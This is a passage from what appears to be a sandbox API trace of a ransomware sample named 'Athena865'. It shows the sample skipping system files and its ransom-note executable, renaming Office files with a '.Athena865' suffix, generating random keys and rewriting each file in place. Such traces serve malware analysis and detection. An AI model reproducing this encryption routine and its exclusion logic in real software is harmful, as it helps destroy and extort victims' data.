wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS.Athena865") returned 69 [0145.752] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\primary.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\primary.css.athena865"), dwFlags=0x1) returned 1 [0145.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PRIMARY.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\primary.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.755] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3450) returned 1 [0145.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.755] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.756] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.756] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.756] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x17c [0145.757] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0145.758] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.759] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.759] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.759] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.759] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.760] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.760] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.760] CloseHandle (hObject=0x17c) returned 1 [0145.760] CloseHandle (hObject=0x154) returned 1 [0145.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.760] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50c70cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x21788, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROPRPT.VSL", cAlternateFileName="")) returned 1 [0145.760] lstrcmpiW (lpString1="PROPRPT.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.761] lstrcmpiW (lpString1="PROPRPT.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.761] lstrcmpiW (lpString1="PROPRPT.VSL", lpString2=".") returned 1 [0145.761] lstrcmpiW (lpString1="PROPRPT.VSL", lpString2="..") returned 1 [0145.761] lstrcmpiW (lpString1="PROPRPT.VSL", lpString2="windows") returned -1 [0145.761] lstrcmpiW (lpString1="PROPRPT.VSL", lpString2="bootmgr") returned 1 [0145.761] lstrcmpiW (lpString1="PROPRPT.VSL", lpString2="temp") returned -1 [0145.761] lstrcmpiW (lpString1="PROPRPT.VSL", lpString2="pagefile.sys") returned 1 [0145.761] lstrcmpiW (lpString1="PROPRPT.VSL", lpString2="boot") returned 1 [0145.761] lstrcmpiW (lpString1="PROPRPT.VSL", lpString2="ids.txt") returned 1 [0145.761] lstrcmpiW (lpString1="PROPRPT.VSL", lpString2="ntuser.dat") returned 1 [0145.761] lstrcmpiW (lpString1="PROPRPT.VSL", lpString2="perflogs") returned 1 [0145.761] lstrcmpiW (lpString1="PROPRPT.VSL", lpString2="MSBuild") returned 1 [0145.761] lstrlenW (lpString="PROPRPT.VSL") returned 11 [0145.761] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PROPRPT.VSL" | out: lpString1="PROPRPT.VSL") returned="PROPRPT.VSL" [0145.761] lstrlenW (lpString="PROPRPT.VSL") returned 11 [0145.761] lstrlenW (lpString="Athena865") returned 9 [0145.761] lstrcmpiW (lpString1="OPRPT.VSL", lpString2="Athena865") returned 1 [0145.761] lstrlenW (lpString=".dll") returned 4 [0145.761] lstrcmpiW (lpString1="PROPRPT.VSL", lpString2=".dll") returned 1 [0145.761] lstrlenW (lpString=".lnk") returned 4 [0145.761] lstrcmpiW (lpString1="PROPRPT.VSL", lpString2=".lnk") returned 1 [0145.761] lstrlenW (lpString=".ini") returned 4 [0145.761] lstrcmpiW (lpString1="PROPRPT.VSL", lpString2=".ini") returned 1 [0145.761] lstrlenW (lpString=".sys") returned 4 [0145.761] lstrcmpiW (lpString1="PROPRPT.VSL", lpString2=".sys") returned 1 [0145.761] lstrlenW (lpString="PROPRPT.VSL") returned 11 [0145.761] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.Athena865") returned 69 [0145.762] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl.athena865"), dwFlags=0x1) returned 1 [0145.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.764] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=137096) returned 1 [0145.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.764] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.764] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.765] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.765] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.765] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x21a90, lpName=0x0) returned 0x17c [0145.767] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x21a90) returned 0x170000 [0145.772] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.772] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.772] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.773] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0145.774] CloseHandle (hObject=0x17c) returned 1 [0145.775] CloseHandle (hObject=0x154) returned 1 [0145.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.775] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.775] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e830b00, ftCreationTime.dwHighDateTime=0x1ca4730, ftLastAccessTime.dwLowDateTime=0x50c70cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e830b00, ftLastWriteTime.dwHighDateTime=0x1ca4730, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROPRPT.VSS", cAlternateFileName="")) returned 1 [0145.775] lstrcmpiW (lpString1="PROPRPT.VSS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.775] lstrcmpiW (lpString1="PROPRPT.VSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.775] lstrcmpiW (lpString1="PROPRPT.VSS", lpString2=".") returned 1 [0145.776] lstrcmpiW (lpString1="PROPRPT.VSS", lpString2="..") returned 1 [0145.776] lstrcmpiW (lpString1="PROPRPT.VSS", lpString2="windows") returned -1 [0145.776] lstrcmpiW (lpString1="PROPRPT.VSS", lpString2="bootmgr") returned 1 [0145.776] lstrcmpiW (lpString1="PROPRPT.VSS", lpString2="temp") returned -1 [0145.776] lstrcmpiW (lpString1="PROPRPT.VSS", lpString2="pagefile.sys") returned 1 [0145.776] lstrcmpiW (lpString1="PROPRPT.VSS", lpString2="boot") returned 1 [0145.776] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PROPRPT.VSS" | out: lpString1="PROPRPT.VSS") returned="PROPRPT.VSS" [0145.776] lstrlenW (lpString="PROPRPT.VSS") returned 11 [0145.776] lstrlenW (lpString="Athena865") returned 9 [0145.776] lstrcmpiW (lpString1="OPRPT.VSS", lpString2="Athena865") returned 1 [0145.776] lstrlenW (lpString=".dll") returned 4 [0145.776] lstrcmpiW (lpString1="PROPRPT.VSS", lpString2=".dll") returned 1 [0145.776] lstrlenW (lpString=".lnk") returned 4 [0145.776] lstrcmpiW (lpString1="PROPRPT.VSS", lpString2=".lnk") returned 1 [0145.776] lstrlenW (lpString=".ini") returned 4 [0145.776] lstrcmpiW (lpString1="PROPRPT.VSS", lpString2=".ini") returned 1 [0145.776] lstrlenW (lpString=".sys") returned 4 [0145.776] lstrcmpiW (lpString1="PROPRPT.VSS", lpString2=".sys") returned 1 [0145.776] lstrlenW (lpString="PROPRPT.VSS") returned 11 [0145.776] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS.Athena865") returned 69 [0145.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vss.athena865"), dwFlags=0x1) returned 1 [0145.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROPRPT.VSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\proprpt.vss.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.778] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=23552) returned 1 [0145.778] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.778] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.778] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.779] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.779] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.779] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.780] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f00, lpName=0x0) returned 0x17c [0145.781] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5f00) returned 0x100000 [0145.782] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.783] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.783] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.784] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.784] CloseHandle (hObject=0x17c) returned 1 [0145.784] CloseHandle (hObject=0x154) returned 1 [0145.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.784] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4722d700, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4722d700, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROTTPLN.DOC", cAlternateFileName="")) returned 1 [0145.785] lstrcmpiW (lpString1="PROTTPLN.DOC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.785] lstrcmpiW (lpString1="PROTTPLN.DOC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.785] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PROTTPLN.DOC" | out: lpString1="PROTTPLN.DOC") returned="PROTTPLN.DOC" [0145.785] lstrlenW (lpString="PROTTPLN.DOC") returned 12 [0145.785] lstrlenW (lpString="Athena865") returned 9 [0145.785] lstrcmpiW (lpString1="TTPLN.DOC", lpString2="Athena865") returned 1 [0145.785] lstrlenW (lpString=".dll") returned 4 [0145.785] lstrcmpiW (lpString1="PROTTPLN.DOC", lpString2=".dll") returned 1 [0145.785] lstrlenW (lpString=".lnk") returned 4 [0145.785] lstrcmpiW (lpString1="PROTTPLN.DOC", lpString2=".lnk") returned 1 [0145.785] lstrlenW (lpString=".ini") returned 4 [0145.785] lstrcmpiW (lpString1="PROTTPLN.DOC", lpString2=".ini") returned 1 [0145.785] lstrlenW (lpString=".sys") returned 4 [0145.785] lstrcmpiW (lpString1="PROTTPLN.DOC", lpString2=".sys") returned 1 [0145.785] lstrlenW (lpString="PROTTPLN.DOC") returned 12 [0145.785] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC.Athena865") returned 70 [0145.785] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.doc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.doc.athena865"), dwFlags=0x1) returned 1 [0145.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.DOC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.doc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.788] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19968) returned 1 [0145.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.788] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.788] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.789] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.789] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.789] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5100, lpName=0x0) returned 0x17c [0145.791] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5100) returned 0x100000 [0145.792] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.792] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0145.793] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0145.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0145.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0145.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0145.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0145.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0145.793] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0145.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0145.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0145.793] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0145.793] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0145.794] CloseHandle (hObject=0x17c) returned 1 [0145.794] CloseHandle (hObject=0x154) returned 1 [0145.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0145.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0145.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0145.794] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9744d100, ftCreationTime.dwHighDateTime=0x1c7e3af, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9744d100, ftLastWriteTime.dwHighDateTime=0x1c7e3af, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROTTPLN.PPT", cAlternateFileName="")) returned 1 [0145.794] lstrcmpiW (lpString1="PROTTPLN.PPT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0145.794] lstrcmpiW (lpString1="PROTTPLN.PPT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0145.794] lstrcpyW (in: lpString1=0x241e8a8, lpString2="PROTTPLN.PPT" | out: lpString1="PROTTPLN.PPT") returned="PROTTPLN.PPT" [0145.794] lstrlenW (lpString="PROTTPLN.PPT") returned 12 [0145.794] lstrlenW (lpString="Athena865") returned 9 [0145.794] lstrcmpiW (lpString1="TTPLN.PPT", lpString2="Athena865") returned 1 [0145.794] lstrlenW (lpString=".dll") returned 4 [0145.794] lstrcmpiW (lpString1="PROTTPLN.PPT", lpString2=".dll") returned 1 [0145.794] lstrlenW (lpString=".lnk") returned 4 [0145.794] lstrcmpiW (lpString1="PROTTPLN.PPT", lpString2=".lnk") returned 1 [0145.794] lstrlenW (lpString=".ini") returned 4 [0145.794] lstrcmpiW (lpString1="PROTTPLN.PPT", lpString2=".ini") returned 1 [0145.795] lstrlenW (lpString=".sys") returned 4 [0145.795] lstrcmpiW (lpString1="PROTTPLN.PPT", lpString2=".sys") returned 1 [0145.795] lstrlenW (lpString="PROTTPLN.PPT") returned 12 [0145.795] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT.Athena865") returned 70 [0145.795] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.ppt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.ppt.athena865"), dwFlags=0x1) returned 1 [0145.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PROTTPLN.PPT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\prottpln.ppt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0145.799] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12288) returned 1 [0145.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0145.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0145.799] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0145.800] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0145.800] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0145.800] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0145.801] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3300, lpName=0x0) returned 0x17c [0145.802] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3300) returned 0x100000 [0145.803] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0145.804] CryptGenRandom (in: 